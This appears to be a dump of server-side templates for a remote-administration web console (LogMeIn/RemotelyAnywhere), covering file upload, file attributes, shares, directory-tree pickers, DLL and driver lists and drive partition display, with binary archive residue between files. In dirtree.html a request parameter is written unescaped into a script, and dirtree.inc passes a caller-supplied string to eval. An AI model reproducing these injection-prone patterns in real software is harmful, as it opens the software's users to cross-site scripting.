<input type="button" name="cancel" value="&MSG.DIALOG.Cancel&" onclick="showDlg('NameDlg',0)">
</form>
</center>
</div>
<script language="JavaScript">
showDlg("NameDlg",1);
showDlg("NameDlg",0);
</script>

<div id="UplDlg" class="subwindow" style="left:60px;top:140px;width:auto;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.DRIVE.TIP.UPLOAD?></span></div>
<center>
<form action="upload.html" method="post" enctype="multipart/form-data">
<fieldset>
<input type="hidden" name="dir" value="&DIR.PATH&">
<input type="hidden" name="token" value="&CSRFTOKEN&">
<table>
<tr>
<td align="right"><?&MSG.DRIVE.FILE?>:</td><td><input type="file" name="file1"></td>
<td align="right">*<?&MSG.DRIVE.SAVEAS?>:</td><td><input type="text" name="name1"></td>
</tr>
<tr>
<td align="right"><?&MSG.DRIVE.FILE?>:</td><td><input type="file" name="file2"></td>
<td align="right">*<?&MSG.DRIVE.SAVEAS?>:</td><td><input type="text" name="name2"></td>
</tr>
<tr>
<td align="right"><?&MSG.DRIVE.FILE?>:</td><td><input type="file" name="file3"></td>
<td align="right">*<?&MSG.DRIVE.SAVEAS?>:</td><td><input type="text" name="name3"></td>
</tr>
<tr>
<td align="right"><?&MSG.DRIVE.FILE?>:</td><td><input type="file" name="file4"></td>
<td align="right">*<?&MSG.DRIVE.SAVEAS?>:</td><td><input type="text" name="name4"></td>
</tr>
<tr>
<td></td>
<td colspan="3"><label for="overwrite"><input type="checkbox" name="overwrite" id="overwrite" value="yes">&nbsp;<?&MSG.DRIVE.OVERWRITE?></label></td>
</tr>
<tr>
<td colspan="4">*<?&MSG.DRIVE.SAVEASNOTE?></td>
</tr>
<tr>
<td colspan="4"><?&MSG.DRIVE.UPLOADNOTE?></td>
</tr>
</table>
</fieldset>
<input type="submit" name="submit" value="&MSG.DIALOG.Continue&" onclick="showDlg('UplDlg',0)">
<input type="button" name="cancel" value="&MSG.DIALOG.Cancel&" onclick="showDlg('UplDlg',0)">
</form>
</center>
</div>
<script language="JavaScript">
showDlg("UplDlg",1);
showDlg("UplDlg",0);
</script>

<?if REQ.ACTION = "atr"?>
<form action="&TEMPLATE&" method="post">
<input type="hidden" name="action" value="setattr">
<input type="hidden" name="dir" value="&DIR.PATH&">
<?enum REQVARS?><?if REQVAR.NAME has "file"?>
<input type="hidden" name="file" value="&REQVAR.DATA&">
<?endif?><?next?>
<div id="FileProp" class="subwindow" style="left:50px;top:90px;width:435;height:auto;">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.DRIVE.TIP.EDITATTR?></span></div>
<center><br>
<fieldset>
&MSG.DRIVE.ATTRSET&:<BR>
<?enum REQVARS?>
<?if REQVAR.NAME has "file"?>
<li>&REQVAR.DATA&</li>
<?endif
next?>
</fieldset>
<?defmacro ATTRINPUT(NAME,STATUS)?>
<select name="&NAME&" size="1">
<option value="set" <?selected STATUS="set"?>>&MSG.DRIVE.ATTR.SET&
<option value="clr" <?selected STATUS="clr"?>>&MSG.DRIVE.ATTR.CLEAR&
<option value=""    <?selected STATUS="var"?>>&MSG.DRIVE.ATTR.KEEP&
</select>
<?endmacro?>
<fieldset>
<table style="border:0">
<tr><td align="right">&MSG.DRIVE.ATTR.archive&</td><td><?usemacro ATTRINPUT("attr_a",ATTR.A)?></td></tr>
<tr><td align="right">&MSG.DRIVE.ATTR.rdonly&</td><td><?usemacro ATTRINPUT("attr_r",ATTR.R)?></td></tr>
<tr><td align="right">&MSG.DRIVE.ATTR.hidden&</td><td><?usemacro ATTRINPUT("attr_h",ATTR.H)?></td></tr>
<tr><td align="right">&MSG.DRIVE.ATTR.system&</td><td><?usemacro ATTRINPUT("attr_s",ATTR.S)?></td></tr>
<input type="hidden" name="attr_c" value="skip">
</table>
<?if REQ.SUB?>
<label for="recursive">&MSG.DRIVE.ATTR.SUBFOLDERS&&nbsp;<input type="checkbox" name="recursive" id="recursive"></label>
<?endif?>
</fieldset><br><br>
<input type="hidden" name="token" value="&CSRFTOKEN&">
<input type="submit" value="&MSG.DIALOG.OK&" onclick="showDlg('FileProp',0)">
<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="showDlg('FileProp',0)">
<br><br></center>
</div>
</form>
<script language="JavaScript">
showDlg("FileProp",1);
</script>
<?endif?>

</body>
</html>
X;dir.xml"b<?ratmpl?>
<?nocache?>
<?action "filelist"?>
<tree>
<?if WINERRNUM?>
<tree text="Unable to load"/>
<?else?>
<?enum FILES?>
<?if FILE.TYPE="folder"?>
<tree text="&FILE.NAME&" src="dir.xml?dir=%FILE.PATH%" action="dir.html?dir=%FILE.PATH%" />
<?endif?>
<?next?>
<?endif?>
</tree>qdirshare.html<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
if REQ.CANCEL
redirect "/dir.html?dir=" REQ.DIR
exit
elseif REQ.SUBMIT
action "shareset"
elseif REQ.CREATE
action "shareadd"
elseif REQ.DELETE
action "sharedel"
endif
if WINERRNUM
usemacro WINERRDLG()
elseif REQ.GOBACK // this is only set after the form was submitted
redirect "/dir.html?dir=" REQ.DIR
exit
endif

if REQ.SHARE
action "shareinfo"
usemacro WINERRDLG()
endif
?>
<div class="window">
<?if not UITYPE="LMI"?><div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&REQ.DIR?></span></div>
<?else?>
<table width="100%"><tr>
<th align="left" style="font-size: 15px; padding: 3 0 3 10;"><?&REQ.DIR?></th>
</tr></table>
<?endif?>
<center>

<form action="&TEMPLATE&" method="post">
<fieldset style="width:95%"><br>
<table>
<tr>
<td align="right"><?&NAME?>:</td>
<?if REQ.SHARE?>
<td><b>&SHARE.NAME&</b></td>
<input type="hidden" name="share" value="&SHARE.NAME&">
<?else?>
<td><input type="text" name="share" value="&REQ.SHARE&"></td>
<?endif?>
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.COMMENT?>:</td>
<td><input type="text" name="comment" value="&SHARE.COMMENT&"></td>
</tr>
<tr>
<td align="right"><?&ADMIN.SHARE.MAXUSERS?>:</td>
<td><input type="text" name="usersmax" size="3" value="&SHARE.USERSMAX&"> <?&ADMIN.SHARE.BLANKUNLIM?></td>
</tr>
</table>
<?if REQ.SHARE?>
<br><input type="button" name="perm" value="&MSG.ACL.EDIT&" onclick="window.location='acledit.html?share=$REQ.SHARE$&back='+encodeURIComponent('$TEMPLATE$?share=%REQ.SHARE%&dir=%REQ.DIR%')"><br>
<?endif?>
<br>
</fieldset><br>
<br>
<input type="hidden" name="dir" value="&REQ.DIR&">
<input type="hidden" name="goback" value="1">
<?if REQ.SHARE?>
<input type="submit" name="submit" value="&MSG.DIALOG.APPLY&">
<input type="submit" name="delete" value="&MSG.DIALOG.DELETE&">
<?else?>
<input type="submit" name="create" value="&MSG.DIALOG.CREATE&">
<?endif?>
<input type="submit" name="cancel" value="&MSG.DIALOG.CANCEL&">
</form>
</center>
</div>

</body>
</html>dirtree.html1
d<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script type="text/javascript" src="js/xtree.js"></script>
<script type="text/javascript" src="js/xmlextras.js"></script>
<script type="text/javascript" src="js/xloadtree.js"></script>
<link type="text/css" rel="stylesheet" href="css/xtree.css" />
</head>

<?switch REQ.WHAT?>
<?case "tree"?>
<body class="clientArea">

<?action "drivelist" REQ.SCAN="none" // names and types only ?>
<script language="JavaScript">
<?if ISUNIX?>
var separator = "/";
<?else?>
var separator = "\\";
<?endif?>

<?if BRAND.LOGMEIN?>
RATreeConfig.rootIcon		= "img/menu_lmi.png";
RATreeConfig.openRootIcon	= "img/menu_lmi.png";
<?else?>
RATreeConfig.rootIcon		= "img/menu_ra.png";
RATreeConfig.openRootIcon	= "img/menu_ra.png";
<?endif?>
RATreeConfig.fileIcon		= "img/menu_folder.png";
RATreeConfig.defaultAction	= "javascript:void(0)";
var tree = new RATree("$SRVNAME$");
<?enum DRIVES?>
addNode("$DRIVE.NAME$");
<?next?>
document.write(tree);
var dir = "$REQ.DIR$".split(separator);
var diri = 0;
var node = tree;
openNode();

function addNode(name) {
var src = "dirtree.xml?dir=" + escape(name);
<?if not ISUNIX?>
var ico = "fileicon.png?bg=%COLOR.DlgBack%&size=16&path=" + escape(name);
var ico_open = ico;
<?else?>
var ico = "img/menu_folder.png";
var ico_open = "img/menu_openfolder.png";
<?endif?>
<?if ISUNIX?>
var act = "javascript:go('" + name.replace(/\\/g, '/')    + "')";
<?else?>
var act = "javascript:go('" + name.replace(/\\/, '\\\\') + "')";
<?endif?>
tree.add(new RALoadTreeItem(name, src, act, null, ico, ico_open));
}
function openNode() {
if (node.loading) {
setTimeout("openNode()", 250);
} else {
var nam = (diri == 0 ? dir[diri] + separator : dir[diri]);
for (var j = 0; j < node.childNodes.length; j++) {
var sub = node.childNodes[j];
if (sub.text == nam) {
node = sub;
node.expand();
if (diri++ < dir.length) {
setTimeout("openNode()", 10);
}
break;
}
}
}
go("$REQ.DIR$");
}
function go(path) {
if (parent.ctrl.document.forms.form) {
parent.ctrl.document.forms.form.dir.value = path;
}
}
</script>
</body>

<?case "ctrl"?>
<body>
<script language="JavaScript">
function apply(dir) {
if (parent.opener) {
<?if REQ.FN has "."?>
parent.opener.=REQ.FN= = dir;
<?else?>
parent.opener.=REQ.FN=(dir);
<?endif?>
} else {
alert("Error: opener window unavailable.");
}
parent.close();
}
</script>
<form name="form">
<table width="100%" height="100%">
<tr valign="middle">
<td nowrap align="left" width="100%">
<input type="text" name="dir" value="&REQ.DIR&" style="width: 100%" onfocus="select()">
</td>
<td nowrap align="right">
<input type="button" value="&MSG.DIALOG.APPLY&" onclick="apply(this.form.dir.value)">
<input type="button" value="&MSG.DIALOG.CANCEL&" onclick="parent.close()">
</td>
</tr>
</table>
</form>
</body>

<?case default?>
<frameset rows="*, 50" frameborder="no" framespacing="0">
<frame name="tree" src="&TEMPLATE&?what=tree&dir=%REQ.DIR%" border="0" marginwidth="0" marginheight="0" scrolling="auto">
<frame name="ctrl" src="&TEMPLATE&?what=ctrl&fn=%REQ.FN%" frameborder="0" framespacing="0" border="0" marginwidth="0" marginheight="0" scrolling="no">
</frameset>


<?endswitch?>

</html>
%]dirtree.inc<?ratmpl?>
<script language="JavaScript">
	function dirTree(dir, fn) {
		<?if not LORES?>
		if (typeof(fn) == "undefined") {
			fn = dir;
			dir = eval(fn);
		}
		var win = null;
		var opt = null;
		var url = "dirtree.html?dir=" + escape(dir) + "&fn=" + escape(fn) + "&rnd=" + Math.random();
		var w = 300;
		var h = 500;
		if (window.showModelessDialog) {
			opt = "help:0;resizable:1;scroll:1;dialogWidth:"+w+"px;dialogHeight:"+h+"px";
			win = window.showModelessDialog(url,"",opt);
		} else {
			opt = "width="+w+",height="+h+",resizable=1,scrollbars=1";
			win = window.open(url,"",opt);
		}
		win.opener = self;
		<?endif?>
	}
	function browseForFile(dir, fn, buttonCaption) {
		<?if not LORES?>
		if (typeof(fn) == "undefined") {
			fn = dir;
			dir = eval(fn);
		}
		var win = null;
		var opt = null;
		var url = "lmibrowse.html?file=" + escape(dir) + "&fn=" + escape(fn) + "&openbutton=" + escape(buttonCaption) + "&rnd=" + Math.random();
		var w = 580;
		var h = 480;
		if (window.showModelessDialog) {
			opt = "help:0;resizable:1;dialogWidth:"+w+"px;dialogHeight:"+h+"px";
			win = window.showModelessDialog(url,"",opt);
		} else {
			opt = "width="+w+",height="+h+",resizable=1,scrollbars=1";
			win = window.open(url,"",opt);
		}
		win.opener = self;
		<?endif?>
	}
</script>
<?defmacro BrowseButton(FN)?><?if not LORES?><a href="javascript:dirTree('$FN$')"><img src="img/ico_browse.gif" title="&MSG.DIALOG.BROWSE&" align="absmiddle" border="0"></a><?endif?><?endmacro?>
70Kdirtree.xml!<?ratmpl?>
<?nocache?>
<?action "filelist" REQ.LIST="d" // list directories only?>
<tree>
<?if WINERRNUM?>
<tree text="&WINERRMSG&"/>
<?else?><?enum FILES?>
<tree text="&FILE.NAME&" src="&TEMPLATE&?dir=%FILE.PATH%" action="javascript:go('$FILE.PATH$')"/>
<?next?><?endif?>
</tree>dllInfo.html'<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body class="clientArea">
<?
if REQ.PATH
action "dllinfo"
usemacro WINERRDLG()
if PROCS
?>
<table class="inner">
<tr>
<th style="text-align:right">&ADMIN.PROCESS.PID&&nbsp;</th>
<th>&nbsp;&NAME&</th>
</tr>
<?enum PROCS?>
<tr>
<td align="right"><?&PROC.ID?>&nbsp;</td>
<td align="left">&nbsp;<a href="procinfo.html?pid=%PROC.ID%" target="_parent"><?&PROC.PATH?></a></td>
</tr>
<?next?>
</table>
<?else?>

&DLL.NAME& is not in use anymore.

<?endif?>

<?endif?>
</body>
</html>
*GdllList.html.0v<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
</head>

<body>
<?
usemacro LINECOUNT()
action "dlllist" REQ.MERGE="1"
usemacro WINERRDLG()
?>
<div class="window">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText"><?&INFO.DLL.TITLE?></span></div>
<div id="toolBar" class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.DLL.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?idx=%REQ.IDX%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
<?usemacro PAGEBAR("")?>
</div>
<table class="inner" align=center width="100%">
<?if DLLS?>
<thead>
<tr>
<th><?&MSG.NAME?></th>
<th><?&MSG.ADMIN.PROCESS.TITLE?></th>
</tr>
</thead>
<tbody>
<?enum DLLS?>
<?if LAST != DLL.PATH?>
<?if LAST?></td></tr><?endif?>
<?set LAST = DLL.PATH?>
<tr><td valign="top"><?&DLL.PATH?></td>
<td nowrap>
<?endif?>
<a href="/procinfo.html?pid=%PROC.ID%&%RND%"><?&PROC.NAME?> (<?&PROC.ID?>)</a><br>
<?next?>
<?if LAST?></td></tr><?endif?>
</tbody>
<?if PAGE.COUNT>1?><tfoot><tr><td colspan="2"><img src="img/clear.gif" height="3"><br><font color="<?&COLOR.Link?>"><?&MSG.PAGING.NOTICE?></font><br><img src="img/clear.gif" height="3"></td></tr></tfoot><?endif?>
<?else?>
<thead><tr><td><br>&MSG.PAGING.NOITEMS&<br><br></td></tr></thead>
<?endif?>
</table>
</div>
</body>
</html>
a~dotcom.vcginZ<?ratmpl?>
<?
	nocache

	switch REQ.TARGET
	case "buy" "buydirect" "buyservice"
		if BRAND.LOGMEIN
			redirect RA.COM "/r.asp?r=purchase&lang=" LANG
		else
			redirect RA.COM "/template.asp?page=purchase&lang=" LANG
		endif
	case "producttypes"
		redirect RA.COM "/template.asp?page=features2&lang=" LANG
	case default
		redirect RA.COM
	endswitch
?>Q͔gdriverlist.htmlC<?ratmpl?>
<?
nocache
include "macros.html"
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<script language="JavaScript">
function doSort(sortby) {
document.forms.type.sort.value = sortby;
document.forms.type.submit();
}
</script>
</head>

<body>
<div class="window">
<form name="type" action="&TEMPLATE&" style="display:inline">
<div class="titleBar"><?usemacro TITLEICON("perf")?><span class="titleText">&MSG.INFO.DRIVERLIST.TITLE&</span></div>
<div class="buttonBar">
<div class="buttonGroup">
<a href="title.html?favname=%INFO.DRIVERLIST.TITLE%&favicon=menu_perf.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a>
<a href="&TEMPLATE&?SORT=%REQ.SORT%&%RND%"><img src="img/ico_refresh.gif" border="0" title="&DIALOG.UPDATE&"></a>
</div>
</div>
<input type="hidden" name="sort" value="$REQ.SORT$">
</form>
<br>
<?action "driverlist"?><?usemacro WINERRDLG()?>
<center>
<table class="inner" cellpadding="2">
<tr>
<th><?usemacro SORTABLETH("ia", "id", MSG.INFO.DRIVERLIST.IMAGE)?></th>
<th><?usemacro SORTABLETH("ba", "bd", MSG.INFO.DRIVERLIST.BASE)?></th>
<th><?usemacro SORTABLETH("fa", "fd", MSG.INFO.DRIVERLIST.FILE)?></th>
</tr>
<?enum DRIVERLIST?>
<tr>
<td nowrap><?&DRIVERLIST.IMAGE?></td>
<td nowrap><?&DRIVERLIST.BASE?></td>
<td nowrap><?&DRIVERLIST.FILE?></td>
</tr>
<?next?>
</table>
<br><br>
</center>
</div>
</body>
</html>

Kdrives.htmlv9<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tooltip.inc"?>
<?include "table.inc"?>
<script language="JavaScript">
function goDrive(name, size) {
if (size == '') {
alert('$DRIVE.NODISK$');
} else {
window.location='dir.html?dir=' + encodeURIComponent(name);
}
}
</script>
<?include "dirtree.inc"?>

<script type="text/javascript" src="/js/lmiborgsupport.js"></script>
<script type="text/javascript" src="/js/tracking.js"></script>
<script type="text/javascript">
function trackFileManager()
{
<?// this page is reloaded while navigating in file manager, track only when loaded from menu, or fallback ?>
<?if REQ.TRACK = "yes"?>
Tracking.trackAction(kAPP_HTML, kACT_FILE_MANAGER);
<?endif?>
}
</script>
</head>

<body onload="trackFileManager();">

<div class="window">
<div class="titleBar"><?usemacro TITLEICON("manage")?><span class="titleText"><?&MSG.MENU.FILEMAN?></span></div>
<!-- TOOLBAR -->
<div class="buttonBar">
<div class="buttonGroup">
<?if not UITYPE="LMI"?><a href="title.html?favname=%MSG.MENU.FILEMAN%&favicon=menu_openfolder.png&favargs=%TEMPLATE%" target="title"><img src="img/ico_favourite.gif" border="0" title="&MSG.QLINKS.ADD&"></a><?endif?>
<a href="&TEMPLATE&?%RND%"><img src="img/ico_refresh.gif" border="0" title="&MSG.DIALOG.UPDATE&"></a>
</div>
</div>

<div class="dataArea">
<br>
<table id="dlist" class="inner" align=center>
<thead>
<tr><th colspan=5><?&SRVNAME?></th></tr>
</thead>
<?defmacro DRIVE.TOOLTIP()?>\
<center><b>$DRIVE.NAME$</b></center>\
<?if DRIVE.SIZE?>\
<?if DRIVE.VOLUME?><b>$MSG.DRIVE.VOL$:</b> $DRIVE.VOLUME$<br><?endif?>\
<?if DRIVE.SERIAL?><b>$MSG.DRIVE.SN$:</b> <?$DRIVE.SERIAL_hex8?><br><?endif?>\
<?if DRIVE.FSYS?><b>$MSG.DRIVE.FILESYS$:</b> $DRIVE.FSYS$<br><?endif?>\
<?if DRIVE.ATTR?><b>$MSG.DRIVE.ATTR$:</b><br>\
- $MSG.DRIVE.FLAGS.MAXN$<br>\
<?if DRIVE.ATTR has "P"?>- $MSG.DRIVE.FLAGS.P$<br><?endif?>\
<?if DRIVE.ATTR has "K"?>- $MSG.DRIVE.FLAGS.K$<br><?endif?>\
<?if DRIVE.ATTR has "U"?>- $MSG.DRIVE.FLAGS.U$<br><?endif?>\
<?if DRIVE.ATTR has "A"?>- $MSG.DRIVE.FLAGS.A$<br><?endif?>\
<?if DRIVE.ATTR has "M"?>- $MSG.DRIVE.FLAGS.M$<br><?endif?>\
<?if DRIVE.ATTR has "C"?>- $MSG.DRIVE.FLAGS.C$<br><?endif?>\
<?if DRIVE.ATTR has "E"?>- $MSG.DRIVE.FLAGS.E$<br><?endif?>\
<?if DRIVE.ATTR has "O"?>- $MSG.DRIVE.FLAGS.O$<br><?endif?>\
<?if DRIVE.ATTR has "R"?>- $MSG.DRIVE.FLAGS.R$<br><?endif?>\
<?if DRIVE.ATTR has "S"?>- $MSG.DRIVE.FLAGS.S$<br><?endif?>\
<?if DRIVE.ATTR has "Q"?>- $MSG.DRIVE.FLAGS.Q$<br><?endif?>\
<?endif?>\
<?if DRIVE.PERM?><b>$MSG.DRIVE.PERM$:</b><br>\
<?if DRIVE.PERM has "R"?>- $MSG.ACL.MASK.R$<br><?endif?>\
<?if DRIVE.PERM has "W"?>- $MSG.ACL.MASK.W$<br><?endif?>\
<?if DRIVE.PERM has "X"?>- $MSG.ACL.MASK.X$<br><?endif?>\
<?if DRIVE.PERM has "D"?>- $MSG.ACL.MASK.D$<br><?endif?>\
<?if DRIVE.PERM has "P"?>- $MSG.ACL.MASK.P$<br><?endif?>\
<?if DRIVE.PERM has "O"?>- $MSG.ACL.MASK.O$<br><?endif?>\
<?endif?>\
<?else?>\
<i>$MSG.DRIVE.NODISK$</i>\
<?endif?>\
<?endmacro?>
<?defmacro DESKITEM.TOOLTIP()?>\
<center><b>$DESKITEM.NAME$</b></center>\
<?if DESKITEM.PATH?><b>$MSG.PATH$:</b> $DESKITEM.PATH$<br><?endif?>\
<?if DESKITEM.DESC?><b>$MSG.DESC$:</b> $DESKITEM.DESC$<br><?endif?>\
<?endmacro?>

<?action "deskitemlist"?><?//usemacro WINERRDLG()?>
<?if DESKITEMS > 0?>
<tbody>
<?enum DESKITEMS?><?if DESKITEM.PATH?><?if DESKITEM.TYPE="folder"?>
<tr onmouseover="showTip(event,'&DESKITEM.TOOLTIP&',false,'TR')"
ondblclick="goDrive('$DESKITEM.PATH$', 'x')">
<td class="ico16"><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%DESKITEM.ICON%&size=16" width="16" height="16"><?endif?></td>
<td colspan="5">&DESKITEM.NAME&</td>
</tr>
<?endif?><?endif?><?next?>
</tbody>
<?endif?>

<?if not REQ.SCAN?><?set REQ.SCAN="fixed"?><?endif?>
<?action "drivelist"?><?usemacro WINERRDLG()?>
<?if DRIVES > 0?>
<thead>
<tr class="ttd">
<th colspan="2"><?&MSG.NAME?></th>
<th><?&MSG.DRIVE.VSIZE?></th>
<th><?&MSG.DRIVE.VFREE?></th>
<th><?&MSG.DRIVE.USEDP?></th>
</tr>
</thead>
<tbody>
<?enum DRIVES?>
<tr onmouseover="showTip(event,'&DRIVE.TOOLTIP&',false,'TR')"
ondblclick="goDrive('$DRIVE.NAME$', '$DRIVE.SIZE$')">
<td class="ico16"><?if CFG.USEICONS>0?><img src="fileicon.png?bg=%COLOR.DlgBack%&path=%DRIVE.NAME%&size=16" width="16" height="16"><?endif?></td>
<td><?&DRIVE.NAME?></td>
<?if DRIVE.SIZE?>
<td class="num"><?&DRIVE.SIZE _szm?></td>
<td class="num"><?&DRIVE.FREE _szm?></td>
<td><?if DRIVE.SIZE?><?usemacro PERCENTBAR(DRIVE.USEDP)?><?endif?></td>
<?elseif DRIVE.SCANNED?>
<td colspan="3"><i><?if DRIVE.ERROR?><?&DRIVE.ERROR?><?else?><?&MSG.DRIVE.NODISK?><?endif?></i></td>
<?else?>
<td colspan="3" align="center"><a href="&TEMPLATE&?scan=all&%RND%">click to scan</a></td>
<?endif?>
</tr>
<?next?>
</tbody>
<?endif?>

<tfoot>
<tr>
<td class="ico16">&#931;</td>
<td><?&MSG.DRIVE.SUM?></td>
<td class="num"><?&DRIVES.SIZE _szm?></td>
<td class="num"><?&DRIVES.FREE _szm?></td>
<td><?usemacro PERCENTBAR(DRIVES.USEDP)?></td>
</tr>
</tfoot>
</table><br>
<script type="text/javascript">
trows = new SelectableTableRows(document.getElementById("dlist"), false);
</script>

<form name="go" action="dir.html" method="get">
<table class="ttd" align=center>
<tr valign="middle">
<th><?&MSG.GO?>:</th>
<td><input type="text" name="dir" value="&DIR&" size="30" title="&MSG.DRIVE.TIP.GO&"
onfocus="this.select()"><?usemacro BrowseButton("document.forms.go.dir.value")?></td>
<td class="ttd"><input type="submit" value="&MSG.GO&" title="&MSG.DRIVE.TIP.GO&"></td>
</tr>
</table>
</form>

</div>
</div>
</body>
</html>
podrivesPDA.html	<?ratmpl?>
<?nocache?>
<?include "macros.html"?>
<html>
<head>
<?include "title.inc"?>
<?include "style.inc"?>

<script language="JavaScript">
function goDrive(name, size) {
if (size == '')
alert('$DRIVE.NODISK$');
else
window.location='%TEMPLATE%?dir=' + escape(name);
}
</script>
</head>

<body class="window">
<table class="titleBar"><tr>
<td><img src="img/menu_manage.png?bg=%COLOR.CapBack%" align="absmiddle">&nbsp;&FILEXFER.TITLE&</td><td align=right><?usemacro PDANAV()?></td>
</tr></table>

\\ <a href="%TEMPLATE%">&SRVNAME&</a>
<?	if REQ.DIR
action "filelist"
enum PATH?>
\ <a href="%TEMPLATE%?dir=%PATH.FULL%">&PATH.PART&</a>
<?next
else
action "drivelist"
endif
usemacro WINERRDLG()?>


<table id="dlist" class="inner" onselectstart="return false" align=center width="60%">
<thead>
<tr class="ttd">
<th><?&MSG.DRIVE.NAME?></th>
<th><?&MSG.DRIVE.VSIZE?></th>
<?if REQ.DIR?>
<th><?&MSG.DRIVE.TIMEM?></th>
<?else?>
<th><?&MSG.DRIVE.VFREE?></th>
<th><?&MSG.DRIVE.USEDP?>%</th>
<?endif?>
</tr>
</thead>
<tbody>
<?if REQ.DIR?>
<?enum FILES?>
<tr>
<?if FILE.TYPE="folder"?>
<td nowrap><a href="%TEMPLATE%?dir=%DIR.PATH%\%FILE.NAME%"><?&FILE.NAME _mx16?></a></td>
<td class="num">&lt;&MSG.DRIVE.DIRSHORT&&gt;</td>
<?else?>
<td nowrap><a href="/download/%FILE.NAME%?dir=%DIR.PATH%&file=%FILE.NAME%"><?&FILE.NAME _mx15t4?></a></td>
<td align="right" nowrap><?&FILE.SIZE _szk?></td>
<?endif?>
<td nowrap align=right><?&FILE.TIMEM _dtms?></td>
</tr>
<?else?>
<?enum DRIVES?>
<tr>
<td><a href="javascript:goDrive('$DRIVE.NAME$', '$DRIVE.SIZE$')"><?&DRIVE.NAME?></a></td>
<td class="num"><?&DRIVE.SIZE _szm?></td>
<td class="num"><?&DRIVE.FREE _szm?></td>
<td align=right><?if DRIVE.SIZE?><?&DRIVE.USEDP?>%<?endif?></td>
</tr>
<?endif?>
<?next?>
</tbody>
<?if not REQ.DIR?>
<tfoot>
<tr>
<td><?&MSG.DRIVE.SUM?></a></td>
<td class="num"><?&DRIVES.SIZE _szm?></td>
<td class="num"><?&DRIVES.FREE _szm?></td>
<td align=right><?&DRIVES.USEDP?>%</td>
</tr>
</tfoot>
<?endif?>
</table>
<script type="text/javascript">
trows = new SelectableTableRows(document.getElementById("dlist"), false);
</script>
<center>
<form action="%TEMPLATE%" method="get">
<table class="inner"><tr>
<td><input type="text" name="dir" value="&DIR&" size="15" onfocus="this.select()"></td>
<td class="ttd"><input type="submit" value="&MSG.GO&"></td>
</tr></table>
</form></center>

</body>
</html>
cdrvinfo.html\(<?ratmpl?>
<?
nocache
include "macros.html"	
?>
<html>
<head><?include "setupdomain.html"?>
<?include "title.inc"?>
<?include "style.inc"?>
<?include "tabs.inc"?>
<style type="text/css">
div.IE7DomFixWrapper
{
list-style: none;
padding: 0;
margin: 0;
width: 100%;
height: 60px;
text-align: center;
}

div.drivelayout
{
display: block;
position: relative;
margin-bottom: 10px;
cursor: default;
margin: 0 auto;

background-color: #ece9d8;
border-top: solid 1px #ffffff;
border-left: solid 1px #ffffff;
border-bottom: solid 1px #aca899;
border-right: solid 1px #aca899;
}

div.drivelayout div
{
display: block;
position: absolute;
top: 2px;
height:	45px;
margin:	0 1px 0 0;
padding: 0;
vertical-align: middle;
text-align: left;
overflow: hidden;
white-space: nowrap;
}

div.drivelayout div.normal { background-color: rgb(236,236,226); }
div.drivelayout div.normal.logical { background-color: rgb(255,255,0); }
div.drivelayout div.normal.primary { background-color: rgb(255,0,255); }

div.drivelayout div.normal div
{
display: block;
float: left;
height: 30px;
margin: 5px 3px;
}

div.drivelayout div.unused { background-color: gray; border: 1px solid black; }
div.drivelayout div.normal div.used { background-color: #eeb; }
div.drivelayout div.normal div.free { background-color: white; border-left: solid 1px gray; }
div.drivelayout div.normal { border: solid 1px gray; }
div.drivelayout div.normal div.label,
div.drivelayout div.unused div.label
{
display: block;
position: absoulte;
background: transparent;
border: none;
padding: 2px 0 0 3px;
overflow: hidden;
z-index: 9999;
font-family: verdana, arial, helvetica, sans-seriff;
font-size: 8pt;
font-weight: normal;
}
div.drivelayout div.unused div.label { color: white; }
div.drivelayout div.normal div.label { color: black; }
div.drivelayout div.normal div.label b,
div.drivelayout div.unused div.label b { display: block; }
div.drivelayout div div.label,
div.drivelayout div div.label span,
div.drivelayout div div.label b {
white-space: nowrap;
overflow: hidden;
text-overflow: ellipsis;
display: block;
}
</style>
<?action "hddlist"?>
<?if DRAWPARTS?>
<script type="text/javascript">
var g_Partitions = [
<?enum DRAWPARTS?>
{
index: 		<?&DRAW.HDDNUMBER?>,
type:		<?&DRAW.TYPE?>,
size:		<?&DRAW.SIZE?>,
free:		<?&DRAW.FREE?>,
upper_text: "<?&DRAW.UPPERTEXT?>",
lower_text:	"<?&DRAW.LOWERTEXT?>"
},
<?next?>
];
</script>
<?endif?>
<script type="text/javascript">
var HDD_LAYOUT_WIDTH	= 800;
var HDD_LAYOUT_HEIGHT	= 50;
var BORDER_WIDTH		= 1;
var MIN_WIDTH			= 60;

function HDDLayout(index, size)
{	
this.m_Index = index;
this.m_RemainWidth = HDD_LAYOUT_WIDTH;
this.m_RemainSize = size;
this.m_LayoutContainer = null;
this.m_Offset = 0;
this.m_RemainRequest = 0;

this.AddPartition = function(draw)
{
if (! this.m_LayoutContainer || ! draw /*|| draw.size <= 0*/)
{
return;
}

var width = draw.width;
var free = draw.size > 0 ? (width-8) * (draw.free / draw.size): 0;
